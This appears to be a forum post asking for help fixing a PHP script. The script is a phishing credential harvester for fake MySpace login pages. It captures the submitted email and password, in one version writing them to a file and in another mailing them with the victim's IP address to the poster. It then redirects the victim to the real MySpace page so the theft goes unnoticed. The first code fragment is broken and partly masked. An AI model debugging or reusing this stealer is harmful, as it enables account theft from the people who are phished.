can anyone tell me whats wrong with the following file ?

<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));


";
fwrite($******, strip_tags(stripslashes($text)));
fclose($******);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

}
<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
$IP = $_SERVER['REMOTE_ADDR'];

$to = '(my email address)';
$subject = 'Myspace Login';
$message = "$email - $password - $IP";
$headers = 'From: New Myspace Login' . "\r\n" .
'Reply-To: Login' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

}
?>